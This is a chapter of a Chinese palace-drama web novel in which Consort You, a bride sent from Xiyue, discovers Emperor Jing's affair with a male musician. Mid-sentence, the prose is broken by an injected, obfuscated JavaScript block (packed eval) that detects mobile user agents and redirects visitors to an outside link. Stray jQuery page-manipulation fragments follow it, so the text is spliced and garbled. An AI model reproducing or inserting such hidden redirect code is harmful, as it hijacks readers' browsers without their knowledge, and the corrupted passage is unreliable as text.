雨后的乌云被一缕光拨开,渐渐转了晴。麻雀在枝头栖息着,偶尔交头接耳发出欢快的叫声。
“殿下,您慢点跑。奴才快跟不上了!到时候娘娘知道了要生气的。”
院子里满是孩子的笑声。只见那孩子头戴六瓣绉纱圆顶帽,两侧用红头须子扎着两撮发鬏,几个小太监跟着他团团转,小家伙玩疯了,手里抱着刚捡起来的蹴鞠又一使劲踢了出去。
枝头的鸟儿惊了一下,全飞走了。后面跟着的小太监张开双臂姿势极为可笑,生怕他磕着碰着,到时候幽妃问罪罚的可是他们。
那蹴鞠随着他用力的一脚飞出去,几个小太监哎呦一声,又开始忙活着跟着。他后面跟着一串人,但他似乎看出这些人紧张反而更加放肆更像是捉弄他们故意如此。
蹴鞠滚了几圈最终停在幽兰殿外的台阶旁边停了下来。一只纤细白皙的手将蹴鞠捡起来。
“璋儿,你觉得这样好玩么?”,那人着一身淡藕色竖领对襟长衫,温柔的眉眼间始终透露着温柔,但现在确实皱着眉严肃的看着面前的孩子。
面前的皇子璋终于安静下来,站在那似乎知道自己做错了一般。跟在他身后的小太监们气喘吁吁的停下来,用袖子抹了抹额前的汗。
幽妃看向面前蔫儿下来的儿子还是有些心软的,不过做错了还是要纠正,“你这样让这么多人跟着你,院子里的人都要围着你转。”
“不好玩,儿臣知错了。”
三岁的孩子天性使然,是最爱玩的年纪,不过李璋还是很乖巧的孩子。只要幽妃制止,立刻便知道道歉。
眼看着儿子闷闷不乐的样子,幽妃叹了一口气摇摇头把他抱起来。她摆摆手让那些小太监们下去。
几人如释重负的退下去。
幽妃抱着李璋,她拿出帕子轻轻擦拭着他脸颊上的汗又给他擦着手。跑了这么久,李璋整个脸红扑扑的热的厉害。随后道,“你呀你,你个小泼皮子。真是淘气的很,说你两句可又委屈上了,可是说错你了?”
李璋轻哼一声顺势抱住幽妃的脖子,不吭声了。
幽妃开口道,“静姝,你把殿下带过去换身干净衣服。”
站在幽妃身侧的少女微微屈膝道,“是,奴婢这就去。”
幽妃这才把儿子放下来,静姝则是牵着李璋的手把他带下去。李璋被牵着却扭着头一直望着幽妃。
她笑着回应,“快去吧,一会母妃见了父皇就回来陪你。”
听见这话,李璋才把头扭回来跟着静姝慢慢走远直到消失。
到了初秋,宫里的桂花正开的盛,幽妃有几日没去见景帝了。
不是不想去,是景帝总是以公务为由推辞。她也能体谅,毕竟武帝驾崩后才继位两年,诸多事务繁忙。
只是她也寂寞,从遥远的西越而来宫中熟识之人寥寥。真算得上关系好的,恐怕只有当时成婚后景帝安排给她的侍女静姝一人。剩下的也就还有景帝了。
一开始来连中原的话都不会说,景帝对她极有耐心。似乎察觉到她初来乍到的恐慌和担忧,为了让她安心下来,景帝经常抽空陪她,教她说中原话,写汉字。
最初知道要和亲的时候幽妃哭了好久,到最后不得不接受。既来之,则安之。她也想明白了,嫁到这里左右一辈子都回不去了。
都说嫁鸡随鸡,嫁狗随狗。这么一想起码她嫁的人还是皇帝,心里也好多了。她幻想过无数种可能,景帝会不会上了年纪,又或者丑陋无比。
不过父亲不会考虑那些,哪怕是个糟老头子能当她爷爷的年纪还是要嫁的。
思来想去,她想着接受。可没想到景帝是个年轻貌美的男子,都说中原的人长得端庄英气,可景帝偏偏柔美,举手投足间满是优雅。况且那么久的陪伴和相处下来,幽妃发觉自己似乎对他动了心。
动了心,动了情。
也好,本想着相敬如宾凑合一辈子,现在想着也是幸运的。和亲而来,却又日久生情。
怎么不算是是命中注定的情缘呢。
幽妃抬手将长满那茂盛的的桂花枝折下来,她只挑最好的摘。现在的桂花正香,带着这些给景帝,他一定会喜欢的。
按照她的吩咐,侍女将桂花扎好放在瓶子里。幽妃拿着这些花往御书房去。
到了外面却被拦下来。拦她的人正是伺候在景帝身侧的掌印赵德。
年过四旬的赵德看见来者弯下腰,笑眯眯的弯起眼睛,眼尾的褶皱像是鱼尾一样随着他的微笑皱起,他扫过幽妃手中的桂花,抬起手挡住。
“娘娘,您这是要去哪啊。”
她经常在景帝身边看见赵德,他应该是知道景帝在哪的。她看向赵德道,“赵大人,本宫来找陛下,给陛下送些新采的桂花,听闻陛下最近头疾,闻些花香或许能有所缓解。陛下可在里头么?”
赵德笑着弯腰,摇摇头。语气里满是歉意,“呦,那娘娘真是来错时候了。赶巧了不是,陛下刚走。恐怕是让娘娘跑了趟空,您把花给老奴吧。奴帮您转交给陛下。”
说着赵德便伸出手,幽妃却感觉不对劲抱着瓷瓶退了几步。他的手停住,没有继续。
“不用了,赵大人。你告诉本宫陛下现在去了哪就好。这花,本宫想亲自送。”
赵德收回手又笑了笑道,“老奴也不是故意不告诉您,只是老奴也不知道。陛下让老奴来御书房帮忙看折子,老奴刚走到这便碰见娘娘了。陛下也没交代去了哪便走了,老奴哪儿敢多嘴问呐。”
掌印怎么可能不知道陛下的去向,分明是不想告诉她罢了。不过为何要瞒着她呢?难道是去皇后那了么?
幽妃也知道恐怕赵德也不会告诉她了,也没打算打算继续纠缠。只是心里感觉奇怪都很。
“那便算了,本宫回去了。赵大人,劳烦你了,若是陛下回来了你派人来转告本宫一声,本宫再来一趟吧。”
赵德笑着连忙点头,“老奴记着呢,一定转告娘娘。”
幽妃又拿着扎好的花,原封不动的顺着来时的路折回去。
走了这么远,感觉到脚跟子磨得的都有些痛了。幽妃心想着今天真是倒了霉,这么不赶巧。
回去的路上撞见了两个小太监,其中一人端着铜盆,里面的水还冒着热气儿,另一人的手臂上则挂着赶紧的内衬。急匆匆的走过去,她感觉奇怪不过也没太在意。
这跟她又没关系。
路过的时候,她还以为是听错了。只听其中一个小太监侧过头小声的嘀咕一句,“这是个什么差事儿啊,陛下怎么大白天的在宣曲宫做那种事情,还是和男人。”
“是啊,我也看着不简单。早就说陛下兴师动众修那么个宫殿,说是什么听琴奏乐的,原来是有那种癖好。根本就是金屋藏娇。”,旁边的小太监应和着。
两人路过并未看见远处的幽妃,只想着赶紧送去,免得惹怒那位。
幽妃听到两人对话愣在原地。只感
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164509|196641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉从头到脚都是冷的。
怎么可能?
陛下不可以做那种事情。她心里清楚的,陛下对她的时候是那么温柔,他的拥抱,他的吻,以及他的动作都……
也不知道是怎么想的,她转过身,手中握紧瓷瓶。
她才不信,除非亲眼看见。
幽妃就这样独自一人向着宣曲宫的方向走去。她的脚步越来越快,步伐越来越急,就像是她胸口里的杂乱的心跳一样。
越靠近宣曲宫,她发现越是安静。似乎连守值的人都没有,更别提乐曲声了。原来走到附近远远的就能听见乐曲声悠扬。
像是印证了她她脑海中所想的一样,她走到殿外,却一下子停住。步子像是扎了根黏在地上难以再走出半步。
她看见方才路上遇见的两个小太监把门拉开一道很快弯着腰把东西送进去就退出来,左右张望着。
幽妃赶紧躲在墙后捂住嘴,她的手抖得厉害,心跳飞快。两人也没看见幽妃,巡视一番后又离开。
心里乱成一团,她不知道该怎么办了。
要继续往前么?万一真看见了自己接受不了的事情该怎么办,还能回到从前么。
她抱紧怀中的瓷瓶。
不,就算是真的,也要亲眼看见才行。如果是误会,反而放下心结了省的日日想着。
如果是真的,她不敢往后想。
她小心翼翼的迈着步子,每一步都尽量不发出声音,很快就靠近了门外。她透过窗子往里面看去,只见里面被屏风挡着望不真切。
只隐约看见些影子,不过确定的是那是两人的影子,交叠在一起的影子。
里面隐约传来熟悉的声音,那声音在熟悉不过了不是景帝又会是何人呢。
“温郎……轻些罢。”
景帝似乎压抑着,扬起颈子。手撑在地毯上指节微微收紧,他抿唇。似乎是没忍住,嘴角溢出一丝轻哼。紧接着只听见他大喊一声。
屏风上的影子一颤,只见其中一个影子跌下去。其中一人撞到一旁的琴案上,只听见琴弦刺耳的发出走调的巨响。
声音似乎停下来。
幽妃目睹到眼前的一幕也彻底死了心。
脑海中那温柔的笑;那耐心的握住她的手教她一字一画习字的模样;那温存后温暖的拥抱。如何都无法和刚刚亲眼看见的一幕关联起来。
她的手控制不住的颤抖着,手中的瓷瓶啪的一声滑落在地上。如同的心一般分崩离析的碎裂开。
鲜艳的桂花躺在地上随着掉落后散开,揉碎。
殿内的声音戛然而至。
景帝连忙把衣裳穿起来,只是头冠还来不及戴。他朝着门外冰冷又带着怒意道,“何人在门外?”
没听见离开的脚步,他站起身往门外走。没忘记将放在一旁的剑拔出来。
如果是不改看见的人,那肯定是要灭口的。他一步步走向门外,猛的拉开门。
幽妃早已坐在地上捂住嘴,掩面而泣。没想到自己心悦之人竟是断袖。她无声的哭着,整个人完全垮下来。
想象到景帝在乐师身下的样子又忍不住的恶心。那种复杂的心情,让她此时想死的心都有了。
景帝没看来者是谁,拉开门后直接将剑架在她脖子上,这才看清来者。
“怎么是你?”
“你怎会在此处。”
剑应声掉落在地上,景帝目光复杂的看着坐在地上的幽妃。